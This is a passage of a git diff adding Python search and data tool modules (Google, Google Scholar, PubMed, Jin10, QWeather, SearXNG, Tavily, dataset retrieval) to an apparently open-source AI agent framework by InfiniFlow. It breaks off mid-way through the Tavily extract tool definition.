'hr', 'cs', 'da', 'nl', 'xx-elmer', 'en', 'eo', 'et', 'ee', 'fo', 'tl', 'fi', 'fr', + 'fy', 'gaa', 'gl', 'ka', 'de', 'el', 'kl', 'gn', 'gu', 'xx-hacker', 'ht', 'ha', 'haw', + 'iw', 'hi', 'hu', 'is', 'ig', 'id', 'ia', 'ga', 'it', 'ja', 'jw', 'kn', 'kk', 'rw', + 'rn', 'xx-klingon', 'kg', 'ko', 'kri', 'ku', 'ckb', 'ky', 'lo', 'la', 'lv', 'ln', 'lt', + 'loz', 'lg', 'ach', 'mk', 'mg', 'ms', 'ml', 'mt', 'mv', 'mi', 'mr', 'mfe', 'mo', 'mn', + 'sr-me', 'my', 'ne', 'pcm', 'nso', 'no', 'nn', 'oc', 'or', 'om', 'ps', 'fa', + 'xx-pirate', 'pl', 'pt', 'pt-br', 'pt-pt', 'pa', 'qu', 'ro', 'rm', 'nyn', 'ru', 'gd', + 'sr', 'sh', 'st', 'tn', 'crs', 'sn', 'sd', 'si', 'sk', 'sl', 'so', 'es', 'es-419', 'su', + 'sw', 'sv', 'tg', 'ta', 'tt', 'te', 'th', 'ti', 'to', 'lua', 'tum', 'tr', 'tk', 'tw', + 'ug', 'uk', 'ur', 'uz', 'vu', 'vi', 'cy', 'wo', 'xh', 'yi', 'yo', 'zu'] + ) + + def get_input_form(self) -> dict[str, dict]: + return { + "q": { + "name": "Query", + "type": "line" + }, + "start": { + "name": "From", + "type": "integer", + "value": 0 + }, + "num": { + "name": "Limit", + "type": "integer", + "value": 12 + } + } + +class Google(ToolBase, ABC): + component_name = "Google" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12))) + def _invoke(self, **kwargs): + if not kwargs.get("q"): + self.set_output("formalized_content", "") + return "" + + params = { + "api_key": self._param.api_key, + "engine": "google", + "q": kwargs["q"], + "google_domain": "google.com", + "gl": self._param.country, + "hl": self._param.language + } + last_e = "" + for _ in range(self._param.max_retries+1): + try: + search = GoogleSearch(params).get_dict() + self._retrieve_chunks(search["organic_results"], + get_title=lambda r: r["title"], + get_url=lambda r: r["link"], + get_content=lambda r: r.get("about_this_result", {}).get("source", {}).get("description", r["snippet"]) + ) + self.set_output("json", search["organic_results"]) + return self.output("formalized_content") + except Exception as e: + last_e = e + logging.exception(f"Google error: {e}") + time.sleep(self._param.delay_after_error) + + if last_e: + self.set_output("_ERROR", str(last_e)) + return f"Google error: {last_e}" + + assert False, self.output() + + def thoughts(self) -> str: + return """ +Keywords: {} +Looking for the most relevant articles. + """.format(self.get_input().get("query", "-_-!")) diff --git a/agent/tools/googlescholar.py b/agent/tools/googlescholar.py new file mode 100644 index 0000000..bf906da --- /dev/null +++ b/agent/tools/googlescholar.py @@ -0,0 +1,96 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import time +from abc import ABC +from scholarly import scholarly +from agent.tools.base import ToolMeta, ToolParamBase, ToolBase +from api.utils.api_utils import timeout + + +class GoogleScholarParam(ToolParamBase): + """ + Define the GoogleScholar component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "google_scholar_search", + "description": """Google Scholar provides a simple way to broadly search for scholarly literature. From one place, you can search across many disciplines and sources: articles, theses, books, abstracts and court opinions, from academic publishers, professional societies, online repositories, universities and other web sites. Google Scholar helps you find relevant work across the world of scholarly research.""", + "parameters": { + "query": { + "type": "string", + "description": "The search keyword to execute with Google Scholar. The keywords should be the most important words/terms(includes synonyms) from the original request.", + "default": "{sys.query}", + "required": True + } + } + } + super().__init__() + self.top_n = 12 + self.sort_by = 'relevance' + self.year_low = None + self.year_high = None + self.patents = True + + def check(self): + self.check_positive_integer(self.top_n, "Top N") + self.check_valid_value(self.sort_by, "GoogleScholar Sort_by", ['date', 'relevance']) + self.check_boolean(self.patents, "Whether or not to include patents, defaults to True") + + def get_input_form(self) -> dict[str, dict]: + return { + "query": { + "name": "Query", + "type": "line" + } + } + +class GoogleScholar(ToolBase, ABC): + component_name = "GoogleScholar" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12))) + def _invoke(self, **kwargs): + if not kwargs.get("query"): + self.set_output("formalized_content", "") + return "" + + last_e = "" + for _ in range(self._param.max_retries+1): + try: + scholar_client = scholarly.search_pubs(kwargs["query"], patents=self._param.patents, year_low=self._param.year_low, + year_high=self._param.year_high, sort_by=self._param.sort_by) + self._retrieve_chunks(scholar_client, + get_title=lambda r: r['bib']['title'], + get_url=lambda r: r["pub_url"], + get_content=lambda r: "\n author: " + ",".join(r['bib']['author']) + '\n Abstract: ' + r['bib'].get('abstract', 'no abstract') + ) + self.set_output("json", list(scholar_client)) + return self.output("formalized_content") + except Exception as e: + last_e = e + logging.exception(f"GoogleScholar error: {e}") + time.sleep(self._param.delay_after_error) + + if last_e: + self.set_output("_ERROR", str(last_e)) + return f"GoogleScholar error: {last_e}" + + assert False, self.output() + + def thoughts(self) -> str: + return "Looking for scholarly papers on `{}`,” prioritising reputable sources.".format(self.get_input().get("query", "-_-!")) diff --git a/agent/tools/jin10.py b/agent/tools/jin10.py new file mode 100644 index 0000000..583a182 --- /dev/null +++ b/agent/tools/jin10.py @@ -0,0 +1,130 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +from abc import ABC +import pandas as pd +import requests +from agent.component.base import ComponentBase, ComponentParamBase + + +class Jin10Param(ComponentParamBase): + """ + Define the Jin10 component parameters. + """ + + def __init__(self): + super().__init__() + self.type = "flash" + self.secret_key = "xxx" + self.flash_type = '1' + self.calendar_type = 'cj' + self.calendar_datatype = 'data' + self.symbols_type = 'GOODS' + self.symbols_datatype = 'symbols' + self.contain = "" + self.filter = "" + + def check(self): + self.check_valid_value(self.type, "Type", ['flash', 'calendar', 'symbols', 'news']) + self.check_valid_value(self.flash_type, "Flash Type", ['1', '2', '3', '4', '5']) + self.check_valid_value(self.calendar_type, "Calendar Type", ['cj', 'qh', 'hk', 'us']) + self.check_valid_value(self.calendar_datatype, "Calendar DataType", ['data', 'event', 'holiday']) + self.check_valid_value(self.symbols_type, "Symbols Type", ['GOODS', 'FOREX', 'FUTURE', 'CRYPTO']) + self.check_valid_value(self.symbols_datatype, 'Symbols DataType', ['symbols', 'quotes']) + + +class Jin10(ComponentBase, ABC): + component_name = "Jin10" + + def _run(self, history, **kwargs): + ans = self.get_input() + ans = " - ".join(ans["content"]) if "content" in ans else "" + if not ans: + return Jin10.be_output("") + + jin10_res = [] + headers = {'secret-key': self._param.secret_key} + try: + if self._param.type == "flash": + params = { + 'category': self._param.flash_type, + 'contain': self._param.contain, + 'filter': self._param.filter + } + response = requests.get( + url='https://open-data-api.jin10.com/data-api/flash?category=' + self._param.flash_type, + headers=headers, data=json.dumps(params)) + response = response.json() + for i in response['data']: + jin10_res.append({"content": i['data']['content']}) + if self._param.type == "calendar": + params = { + 'category': self._param.calendar_type + } + response = requests.get( + url='https://open-data-api.jin10.com/data-api/calendar/' + self._param.calendar_datatype + '?category=' + self._param.calendar_type, + headers=headers, data=json.dumps(params)) + + response = response.json() + jin10_res.append({"content": pd.DataFrame(response['data']).to_markdown()}) + if self._param.type == "symbols": + params = { + 'type': self._param.symbols_type + } + if self._param.symbols_datatype == "quotes": + params['codes'] = 'BTCUSD' + response = requests.get( + url='https://open-data-api.jin10.com/data-api/' + self._param.symbols_datatype + '?type=' + self._param.symbols_type, + headers=headers, data=json.dumps(params)) + response = response.json() + if self._param.symbols_datatype == "symbols": + for i in response['data']: + i['Commodity Code'] = i['c'] + i['Stock Exchange'] = i['e'] + i['Commodity Name'] = i['n'] + i['Commodity Type'] = i['t'] + del i['c'], i['e'], i['n'], i['t'] + if self._param.symbols_datatype == "quotes": + for i in response['data']: + i['Selling Price'] = i['a'] + i['Buying Price'] = i['b'] + i['Commodity Code'] = i['c'] + i['Stock Exchange'] = i['e'] + i['Highest Price'] = i['h'] + i['Yesterday’s Closing Price'] = i['hc'] + i['Lowest Price'] = i['l'] + i['Opening Price'] = i['o'] + i['Latest Price'] = i['p'] + i['Market Quote Time'] = i['t'] + del i['a'], i['b'], i['c'], i['e'], i['h'], i['hc'], i['l'], i['o'], i['p'], i['t'] + jin10_res.append({"content": pd.DataFrame(response['data']).to_markdown()}) + if self._param.type == "news": + params = { + 'contain': self._param.contain, + 'filter': self._param.filter + } + response = requests.get( + url='https://open-data-api.jin10.com/data-api/news', + headers=headers, data=json.dumps(params)) + response = response.json() + jin10_res.append({"content": pd.DataFrame(response['data']).to_markdown()}) + except Exception as e: + return Jin10.be_output("**ERROR**: " + str(e)) + + if not jin10_res: + return Jin10.be_output("") + + return pd.DataFrame(jin10_res) diff --git a/agent/tools/pubmed.py b/agent/tools/pubmed.py new file mode 100644 index 0000000..6dce92a --- /dev/null +++ b/agent/tools/pubmed.py @@ -0,0 +1,108 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import time +from abc import ABC +from Bio import Entrez +import re +import xml.etree.ElementTree as ET +from agent.tools.base import ToolParamBase, ToolMeta, ToolBase +from api.utils.api_utils import timeout + + +class PubMedParam(ToolParamBase): + """ + Define the PubMed component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "pubmed_search", + "description": """ +PubMed is an openly accessible, free database which includes primarily the MEDLINE database of references and abstracts on life sciences and biomedical topics. +In addition to MEDLINE, PubMed provides access to: + - older references from the print version of Index Medicus, back to 1951 and earlier + - references to some journals before they were indexed in Index Medicus and MEDLINE, for instance Science, BMJ, and Annals of Surgery + - very recent entries to records for an article before it is indexed with Medical Subject Headings (MeSH) and added to MEDLINE + - a collection of books available full-text and other subsets of NLM records[4] + - PMC citations + - NCBI Bookshelf + """, + "parameters": { + "query": { + "type": "string", + "description": "The search keywords to execute with PubMed. The keywords should be the most important words/terms(includes synonyms) from the original request.", + "default": "{sys.query}", + "required": True + } + } + } + super().__init__() + self.top_n = 12 + self.email = "A.N.Other@example.com" + + def check(self): + self.check_positive_integer(self.top_n, "Top N") + + def get_input_form(self) -> dict[str, dict]: + return { + "query": { + "name": "Query", + "type": "line" + } + } + +class PubMed(ToolBase, ABC): + component_name = "PubMed" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12))) + def _invoke(self, **kwargs): + if not kwargs.get("query"): + self.set_output("formalized_content", "") + return "" + + last_e = "" + for _ in range(self._param.max_retries+1): + try: + Entrez.email = self._param.email + pubmedids = Entrez.read(Entrez.esearch(db='pubmed', retmax=self._param.top_n, term=kwargs["query"]))['IdList'] + pubmedcnt = ET.fromstring(re.sub(r'<(/?)b>|<(/?)i>', '', Entrez.efetch(db='pubmed', id=",".join(pubmedids), + retmode="xml").read().decode("utf-8"))) + self._retrieve_chunks(pubmedcnt.findall("PubmedArticle"), + get_title=lambda child: child.find("MedlineCitation").find("Article").find("ArticleTitle").text, + get_url=lambda child: "https://pubmed.ncbi.nlm.nih.gov/" + child.find("MedlineCitation").find("PMID").text, + get_content=lambda child: child.find("MedlineCitation") \ + .find("Article") \ + .find("Abstract") \ + .find("AbstractText").text \ + if child.find("MedlineCitation")\ + .find("Article").find("Abstract") \ + else "No abstract available") + return self.output("formalized_content") + except Exception as e: + last_e = e + logging.exception(f"PubMed error: {e}") + time.sleep(self._param.delay_after_error) + + if last_e: + self.set_output("_ERROR", str(last_e)) + return f"PubMed error: {last_e}" + + assert False, self.output() + + def thoughts(self) -> str: + return "Looking for scholarly papers on `{}`,” prioritising reputable sources.".format(self.get_input().get("query", "-_-!")) diff --git a/agent/tools/qweather.py b/agent/tools/qweather.py new file mode 100644 index 0000000..2c38a8b --- /dev/null +++ b/agent/tools/qweather.py @@ -0,0 +1,111 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +from abc import ABC +import pandas as pd +import requests +from agent.component.base import ComponentBase, ComponentParamBase + + +class QWeatherParam(ComponentParamBase): + """ + Define the QWeather component parameters. + """ + + def __init__(self): + super().__init__() + self.web_apikey = "xxx" + self.lang = "zh" + self.type = "weather" + self.user_type = 'free' + self.error_code = { + "204": "The request was successful, but the region you are querying does not have the data you need at this time.", + "400": "Request error, may contain incorrect request parameters or missing mandatory request parameters.", + "401": "Authentication fails, possibly using the wrong KEY, wrong digital signature, wrong type of KEY (e.g. using the SDK's KEY to access the Web API).", + "402": "Exceeded the number of accesses or the balance is not enough to support continued access to the service, you can recharge, upgrade the accesses or wait for the accesses to be reset.", + "403": "No access, may be the binding PackageName, BundleID, domain IP address is inconsistent, or the data that requires additional payment.", + "404": "The queried data or region does not exist.", + "429": "Exceeded the limited QPM (number of accesses per minute), please refer to the QPM description", + "500": "No response or timeout, interface service abnormality please contact us" + } + # Weather + self.time_period = 'now' + + def check(self): + self.check_empty(self.web_apikey, "BaiduFanyi APPID") + self.check_valid_value(self.type, "Type", ["weather", "indices", "airquality"]) + self.check_valid_value(self.user_type, "Free subscription or paid subscription", ["free", "paid"]) + self.check_valid_value(self.lang, "Use language", + ['zh', 'zh-hant', 'en', 'de', 'es', 'fr', 'it', 'ja', 'ko', 'ru', 'hi', 'th', 'ar', 'pt', + 'bn', 'ms', 'nl', 'el', 'la', 'sv', 'id', 'pl', 'tr', 'cs', 'et', 'vi', 'fil', 'fi', + 'he', 'is', 'nb']) + self.check_valid_value(self.time_period, "Time period", ['now', '3d', '7d', '10d', '15d', '30d']) + + +class QWeather(ComponentBase, ABC): + component_name = "QWeather" + + def _run(self, history, **kwargs): + ans = self.get_input() + ans = "".join(ans["content"]) if "content" in ans else "" + if not ans: + return QWeather.be_output("") + + try: + response = requests.get( + url="https://geoapi.qweather.com/v2/city/lookup?location=" + ans + "&key=" + self._param.web_apikey).json() + if response["code"] == "200": + location_id = response["location"][0]["id"] + else: + return QWeather.be_output("**Error**" + self._param.error_code[response["code"]]) + + base_url = "https://api.qweather.com/v7/" if self._param.user_type == 'paid' else "https://devapi.qweather.com/v7/" + + if self._param.type == "weather": + url = base_url + "weather/" + self._param.time_period + "?location=" + location_id + "&key=" + self._param.web_apikey + "&lang=" + self._param.lang + response = requests.get(url=url).json() + if response["code"] == "200": + if self._param.time_period == "now": + return QWeather.be_output(str(response["now"])) + else: + qweather_res = [{"content": str(i) + "\n"} for i in response["daily"]] + if not qweather_res: + return QWeather.be_output("") + + df = pd.DataFrame(qweather_res) + return df + else: + return QWeather.be_output("**Error**" + self._param.error_code[response["code"]]) + + elif self._param.type == "indices": + url = base_url + "indices/1d?type=0&location=" + location_id + "&key=" + self._param.web_apikey + "&lang=" + self._param.lang + response = requests.get(url=url).json() + if response["code"] == "200": + indices_res = response["daily"][0]["date"] + "\n" + "\n".join( + [i["name"] + ": " + i["category"] + ", " + i["text"] for i in response["daily"]]) + return QWeather.be_output(indices_res) + + else: + return QWeather.be_output("**Error**" + self._param.error_code[response["code"]]) + + elif self._param.type == "airquality": + url = base_url + "air/now?location=" + location_id + "&key=" + self._param.web_apikey + "&lang=" + self._param.lang + response = requests.get(url=url).json() + if response["code"] == "200": + return QWeather.be_output(str(response["now"])) + else: + return QWeather.be_output("**Error**" + self._param.error_code[response["code"]]) + except Exception as e: + return QWeather.be_output("**Error**" + str(e)) diff --git a/agent/tools/retrieval.py b/agent/tools/retrieval.py new file mode 100644 index 0000000..24370f1 --- /dev/null +++ b/agent/tools/retrieval.py @@ -0,0 +1,181 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import os +import re +from abc import ABC +from agent.tools.base import ToolParamBase, ToolBase, ToolMeta +from api.db import LLMType +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.llm_service import LLMBundle +from api import settings +from api.utils.api_utils import timeout +from rag.app.tag import label_question +from rag.prompts.generator import cross_languages, kb_prompt + + +class RetrievalParam(ToolParamBase): + """ + Define the Retrieval component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "search_my_dateset", + "description": "This tool can be utilized for relevant content searching in the datasets.", + "parameters": { + "query": { + "type": "string", + "description": "The keywords to search the dataset. The keywords should be the most important words/terms(includes synonyms) from the original request.", + "default": "", + "required": True + } + } + } + super().__init__() + self.function_name = "search_my_dateset" + self.description = "This tool can be utilized for relevant content searching in the datasets." + self.similarity_threshold = 0.2 + self.keywords_similarity_weight = 0.5 + self.top_n = 8 + self.top_k = 1024 + self.kb_ids = [] + self.kb_vars = [] + self.rerank_id = "" + self.empty_response = "" + self.use_kg = False + self.cross_languages = [] + + def check(self): + self.check_decimal_float(self.similarity_threshold, "[Retrieval] Similarity threshold") + self.check_decimal_float(self.keywords_similarity_weight, "[Retrieval] Keyword similarity weight") + self.check_positive_number(self.top_n, "[Retrieval] Top N") + + def get_input_form(self) -> dict[str, dict]: + return { + "query": { + "name": "Query", + "type": "line" + } + } + +class Retrieval(ToolBase, ABC): + component_name = "Retrieval" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12))) + def _invoke(self, **kwargs): + if not kwargs.get("query"): + self.set_output("formalized_content", self._param.empty_response) + + kb_ids: list[str] = [] + for id in self._param.kb_ids: + if id.find("@") < 0: + kb_ids.append(id) + continue + kb_nm = self._canvas.get_variable_value(id) + # if kb_nm is a list + kb_nm_list = kb_nm if isinstance(kb_nm, list) else [kb_nm] + for nm_or_id in kb_nm_list: + e, kb = KnowledgebaseService.get_by_name(nm_or_id, + self._canvas._tenant_id) + if not e: + e, kb = KnowledgebaseService.get_by_id(nm_or_id) + if not e: + raise Exception(f"Dataset({nm_or_id}) does not exist.") + kb_ids.append(kb.id) + + filtered_kb_ids: list[str] = list(set([kb_id for kb_id in kb_ids if kb_id])) + + kbs = KnowledgebaseService.get_by_ids(filtered_kb_ids) + if not kbs: + raise Exception("No dataset is selected.") + + embd_nms = list(set([kb.embd_id for kb in kbs])) + assert len(embd_nms) == 1, "Knowledge bases use different embedding models." + + embd_mdl = None + if embd_nms: + embd_mdl = LLMBundle(self._canvas.get_tenant_id(), LLMType.EMBEDDING, embd_nms[0]) + + rerank_mdl = None + if self._param.rerank_id: + rerank_mdl = LLMBundle(kbs[0].tenant_id, LLMType.RERANK, self._param.rerank_id) + + vars = self.get_input_elements_from_text(kwargs["query"]) + vars = {k:o["value"] for k,o in vars.items()} + query = self.string_format(kwargs["query"], vars) + if self._param.cross_languages: + query = cross_languages(kbs[0].tenant_id, None, query, self._param.cross_languages) + + if kbs: + query = re.sub(r"^user[:：\s]*", "", query, flags=re.IGNORECASE) + kbinfos = settings.retrievaler.retrieval( + query, + embd_mdl, + [kb.tenant_id for kb in kbs], + filtered_kb_ids, + 1, + self._param.top_n, + self._param.similarity_threshold, + 1 - self._param.keywords_similarity_weight, + aggs=False, + rerank_mdl=rerank_mdl, + rank_feature=label_question(query, kbs), + ) + if self._param.use_kg: + ck = settings.kg_retrievaler.retrieval(query, + [kb.tenant_id for kb in kbs], + kb_ids, + embd_mdl, + LLMBundle(self._canvas.get_tenant_id(), LLMType.CHAT)) + if ck["content_with_weight"]: + kbinfos["chunks"].insert(0, ck) + else: + kbinfos = {"chunks": [], "doc_aggs": []} + + if self._param.use_kg and kbs: + ck = settings.kg_retrievaler.retrieval(query, [kb.tenant_id for kb in kbs], filtered_kb_ids, embd_mdl, LLMBundle(kbs[0].tenant_id, LLMType.CHAT)) + if ck["content_with_weight"]: + ck["content"] = ck["content_with_weight"] + del ck["content_with_weight"] + kbinfos["chunks"].insert(0, ck) + + for ck in kbinfos["chunks"]: + if "vector" in ck: + del ck["vector"] + if "content_ltks" in ck: + del ck["content_ltks"] + + if not kbinfos["chunks"]: + self.set_output("formalized_content", self._param.empty_response) + return + + # Format the chunks for JSON output (similar to how other tools do it) + json_output = kbinfos["chunks"].copy() + + self._canvas.add_reference(kbinfos["chunks"], kbinfos["doc_aggs"]) + form_cnt = "\n".join(kb_prompt(kbinfos, 200000, True)) + + # Set both formalized content and JSON output + self.set_output("formalized_content", form_cnt) + self.set_output("json", json_output) + + return form_cnt + + def thoughts(self) -> str: + return """ +Keywords: {} +Looking for the most relevant articles. + """.format(self.get_input().get("query", "-_-!")) diff --git a/agent/tools/searxng.py b/agent/tools/searxng.py new file mode 100644 index 0000000..32e8075 --- /dev/null +++ b/agent/tools/searxng.py @@ -0,0 +1,151 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import time +from abc import ABC +import requests +from agent.tools.base import ToolMeta, ToolParamBase, ToolBase +from api.utils.api_utils import timeout + + +class SearXNGParam(ToolParamBase): + """ + Define the SearXNG component parameters. + """ + + def __init__(self): + self.meta: ToolMeta = { + "name": "searxng_search", + "description": "SearXNG is a privacy-focused metasearch engine that aggregates results from multiple search engines without tracking users. It provides comprehensive web search capabilities.", + "parameters": { + "query": { + "type": "string", + "description": "The search keywords to execute with SearXNG. The keywords should be the most important words/terms(includes synonyms) from the original request.", + "default": "{sys.query}", + "required": True + }, + "searxng_url": { + "type": "string", + "description": "The base URL of your SearXNG instance (e.g., http://localhost:4000). This is required to connect to your SearXNG server.", + "required": False, + "default": "" + } + } + } + super().__init__() + self.top_n = 10 + self.searxng_url = "" + + def check(self): + # Keep validation lenient so opening try-run panel won't fail without URL. + # Coerce top_n to int if it comes as string from UI. + try: + if isinstance(self.top_n, str): + self.top_n = int(self.top_n.strip()) + except Exception: + pass + self.check_positive_integer(self.top_n, "Top N") + + def get_input_form(self) -> dict[str, dict]: + return { + "query": { + "name": "Query", + "type": "line" + }, + "searxng_url": { + "name": "SearXNG URL", + "type": "line", + "placeholder": "http://localhost:4000" + } + } + + +class SearXNG(ToolBase, ABC): + component_name = "SearXNG" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12))) + def _invoke(self, **kwargs): + # Gracefully handle try-run without inputs + query = kwargs.get("query") + if not query or not isinstance(query, str) or not query.strip(): + self.set_output("formalized_content", "") + return "" + + searxng_url = (getattr(self._param, "searxng_url", "") or kwargs.get("searxng_url") or "").strip() + # In try-run, if no URL configured, just return empty instead of raising + if not searxng_url: + self.set_output("formalized_content", "") + return "" + + last_e = "" + for _ in range(self._param.max_retries+1): + try: + search_params = { + 'q': query, + 'format': 'json', + 'categories': 'general', + 'language': 'auto', + 'safesearch': 1, + 'pageno': 1 + } + + response = requests.get( + f"{searxng_url}/search", + params=search_params, + timeout=10 + ) + response.raise_for_status() + + data = response.json() + + if not data or not isinstance(data, dict): + raise ValueError("Invalid response from SearXNG") + + results = data.get("results", []) + if not isinstance(results, list): + raise ValueError("Invalid results format from SearXNG") + + results = results[:self._param.top_n] + + self._retrieve_chunks(results, + get_title=lambda r: r.get("title", ""), + get_url=lambda r: r.get("url", ""), + get_content=lambda r: r.get("content", "")) + + self.set_output("json", results) + return self.output("formalized_content") + + except requests.RequestException as e: + last_e = f"Network error: {e}" + logging.exception(f"SearXNG network error: {e}") + time.sleep(self._param.delay_after_error) + except Exception as e: + last_e = str(e) + logging.exception(f"SearXNG error: {e}") + time.sleep(self._param.delay_after_error) + + if last_e: + self.set_output("_ERROR", last_e) + return f"SearXNG error: {last_e}" + + assert False, self.output() + + def thoughts(self) -> str: + return """ +Keywords: {} +Searching with SearXNG for relevant results... + """.format(self.get_input().get("query", "-_-!")) diff --git a/agent/tools/tavily.py b/agent/tools/tavily.py new file mode 100644 index 0000000..80203fe --- /dev/null +++ b/agent/tools/tavily.py @@ -0,0 +1,227 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import logging +import os +import time +from abc import ABC +from tavily import TavilyClient +from agent.tools.base import ToolParamBase, ToolBase, ToolMeta +from api.utils.api_utils import timeout + + +class TavilySearchParam(ToolParamBase): + """ + Define the Retrieval component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "tavily_search", + "description": """ +Tavily is a search engine optimized for LLMs, aimed at efficient, quick and persistent search results. +When searching: + - Start with specific query which should focus on just a single aspect. + - Number of keywords in query should be less than 5. + - Broaden search terms if needed + - Cross-reference information from multiple sources + """, + "parameters": { + "query": { + "type": "string", + "description": "The search keywords to execute with Tavily. The keywords should be the most important words/terms(includes synonyms) from the original request.", + "default": "{sys.query}", + "required": True + }, + "topic": { + "type": "string", + "description": "default:general. The category of the search.news is useful for retrieving real-time updates, particularly about politics, sports, and major current events covered by mainstream media sources. general is for broader, more general-purpose searches that may include a wide range of sources.", + "enum": ["general", "news"], + "default": "general", + "required": False, + }, + "include_domains": { + "type": "array", + "description": "default:[]. A list of domains only from which the search results can be included.", + "default": [], + "items": { + "type": "string", + "description": "Domain name that must be included, e.g. www.yahoo.com" + }, + "required": False + }, + "exclude_domains": { + "type": "array", + "description": "default:[]. A list of domains from which the search results can not be included", + "default": [], + "items": { + "type": "string", + "description": "Domain name that must be excluded, e.g. www.yahoo.com" + }, + "required": False + }, + } + } + super().__init__() + self.api_key = "" + self.search_depth = "basic" # basic/advanced + self.max_results = 6 + self.days = 14 + self.include_answer = False + self.include_raw_content = False + self.include_images = False + self.include_image_descriptions = False + + def check(self): + self.check_valid_value(self.topic, "Tavily topic: should be in 'general/news'", ["general", "news"]) + self.check_valid_value(self.search_depth, "Tavily search depth should be in 'basic/advanced'", ["basic", "advanced"]) + self.check_positive_integer(self.max_results, "Tavily max result number should be within [1， 20]") + self.check_positive_integer(self.days, "Tavily days should be greater than 1") + + def get_input_form(self) -> dict[str, dict]: + return { + "query": { + "name": "Query", + "type": "line" + } + } + +class TavilySearch(ToolBase, ABC): + component_name = "TavilySearch" + + @timeout(int(os.environ.get("COMPONENT_EXEC_TIMEOUT", 12))) + def _invoke(self, **kwargs): + if not kwargs.get("query"): + self.set_output("formalized_content", "") + return "" + + self.tavily_client = TavilyClient(api_key=self._param.api_key) + last_e = None + for fld in ["search_depth", "topic", "max_results", "days", "include_answer", "include_raw_content", "include_images", "include_image_descriptions", "include_domains", "exclude_domains"]: + if fld not in kwargs: + kwargs[fld] = getattr(self._param, fld) + for _ in range(self._param.max_retries+1): + try: + kwargs["include_images"] = False + kwargs["include_raw_content"] = False + res = self.tavily_client.search(**kwargs) + self._retrieve_chunks(res["results"], + get_title=lambda r: r["title"], + get_url=lambda r: r["url"], + get_content=lambda r: r["raw_content"] if r["raw_content"] else r["content"], + get_score=lambda r: r["score"]) + self.set_output("json", res["results"]) + return self.output("formalized_content") + except Exception as e: + last_e = e + logging.exception(f"Tavily error: {e}") + time.sleep(self._param.delay_after_error) + if last_e: + self.set_output("_ERROR", str(last_e)) + return f"Tavily error: {last_e}" + + assert False, self.output() + + def thoughts(self) -> str: + return """ +Keywords: {} +Looking for the most relevant articles. + """.format(self.get_input().get("query", "-_-!")) + + +class TavilyExtractParam(ToolParamBase): + """ + Define the Retrieval component parameters. + """ + + def __init__(self): + self.meta:ToolMeta = { + "name": "tavily_extract", + "description": "Extract web page content from one or more specified URLs using Tavily Extract.", + "parameters": { + "urls": { + "type": "array", + "description": "The URLs to extract content from.", + "default": "", + "items": { + "type": "string", + "description": "The URL to extract content from, e.g. www.yahoo.com" + }, + "required": True + }, + "extract_depth": { + "type": 